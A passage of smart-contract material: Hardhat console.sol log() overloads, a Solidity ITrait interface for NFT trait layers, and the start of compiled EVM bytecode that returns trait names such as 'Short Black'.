function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITrait { function getSkinLayer(uint256 traitIndex, uint256 layerIndex) external view returns (string memory layer); function getFrontLayer(uint256 traitIndex, uint256 layerIndex) external view returns (string memory frontLayer); function getFrontArmorLayer(uint256 traitIndex, uint256 layerIndex) external view returns (string memory frontArmorLayer); function getName(uint256 traitIndex) external view returns (string memory name); function sampleTraitIndex(uint256 rand) external view returns (uint256 index); }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806371188e0811610104578063b54a6bca116100a2578063c6490cbb11610071578063c6490cbb1461051c578063e55e18091461053a578063ef54c32e14610558578063f8e1dd4014610576576101cf565b8063b54a6bca14610492578063b695c662146104b0578063c434ac32146104ce578063c620c156146104fe576101cf565b80638daad84b116100de5780638daad84b146103f65780639c3bde2c146104145780639ca95a1e14610444578063a0cb28b414610462576101cf565b806371188e081461039c5780637598200f146103ba57806383219f68146103d8576101cf565b80633926e8b111610171578063529697ee1161014b578063529697ee1461031257806362944c4b146103305780636b8ff5741461034e5780636e72dcdc1461037e576101cf565b80633926e8b1146102b857806346493904146102d65780634aafd582146102f4576101cf565b8063253127f0116101ad578063253127f014610240578063297757991461025e57806330ee9f0c1461027c57806334e61c861461029a576101cf565b806309d8fe9c146101d4578063152a4ca7146102045780631b0c942b14610222575b600080fd5b6101ee60048036038101906101e99190611301565b610594565b6040516101fb91906114f5565b60405180910390f35b61020c610625565b60405161021991906114b3565b60405180910390f35b61022a610642565b60405161023791906114b3565b60405180910390f35b610248610661565b60405161025591906114b3565b60405180910390f35b61026661067e565b60405161027391906114b3565b60405180910390f35b61028461069b565b60405161029191906114b3565b60405180910390f35b6102a26106b8565b6040516102af91906114b3565b60405180910390f35b6102c06106d7565b6040516102cd91906114b3565b60405180910390f35b6102de6106f6565b6040516102eb91906114b3565b60405180910390f35b6102fc610713565b60405161030991906114b3565b60405180910390f35b61031a610732565b60405161032791906114b3565b60405180910390f35b610338610751565b60405161034591906114b3565b60405180910390f35b61036860048036038101906103639190611301565b610770565b60405161037591906114b3565b60405180910390f35b610386610ae0565b60405161039391906114b3565b60405180910390f35b6103a4610afc565b6040516103b191906114b3565b60405180910390f35b6103c2610b19565b6040516103cf91906114b3565b60405180910390f35b6103e0610b35565b6040516103ed91906114b3565b60405180910390f35b6103fe610b52565b60405161040b91906114b3565b60405180910390f35b61042e6004803603810190610429919061132a565b610b71565b60405161043b91906114b3565b60405180910390f35b61044c610bbb565b60405161045991906114b3565b60405180910390f35b61047c6004803603810190610477919061132a565b610bda565b60405161048991906114b3565b60405180910390f35b61049a610bfe565b6040516104a791906114b3565b60405180910390f35b6104b8610c1a565b6040516104c591906114b3565b60405180910390f35b6104e860048036038101906104e3919061132a565b610c37565b6040516104f591906114b3565b60405180910390f35b610506610c81565b60405161051391906114b3565b60405180910390f35b610524610c9e565b60405161053191906114b3565b60405180910390f35b610542610cbb565b60405161054f91906114b3565b60405180910390f35b610560610cd7565b60405161056d91906114b3565b60405180910390f35b61057e610cf6565b60405161058b91906114b3565b60405180910390f35b6000612710826105a4919061165a565b915060005b60018054905081101561061e57600181815481106105f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015483101561060b5780915050610620565b808061061690611611565b9150506105a9565b505b919050565b60405180610100016040528060e08152602001611dd560e0913981565b604051806101e001604052806101b08152602001612b9d6101b0913981565b60405180610100016040528060cc8152602001611a5160cc913981565b60405180610120016040528060e8815260200161300d60e8913981565b60405180610120016040528060f4815260200161243d60f4913981565b6040518061016001604052806101388152602001612841610138913981565b604051806101c001604052806101a0815260200161176d6101a0913981565b60405180610100016040528060d08152602001612e4160d0913981565b604051806101a0016040528061017881526020016126c9610178913981565b6040518061012001604052806101008152602001611f81610100913981565b6040518061018001604052806101548152602001611c81610154913981565b6060600082141561079257604051806020016040528060008152509050610adb565b60018214156107d8576040518060400160405280600b81526020017f53686f727420426c61636b0000000000000000000000000000000000000000008152509050610adb565b600282141561081e576040518060400160405280600a81526020017f4c6f6e6720426c61636b000000000000000000000000000000000000000000008152509050610adb565b6003821415610864576040518060400160405280600a81526020017f53686f727420426c7565000000000000000000000000000000000000000000008152509050610adb565b60048214156108aa576040518060400160405280600981526020017f4c6f6e6720426c7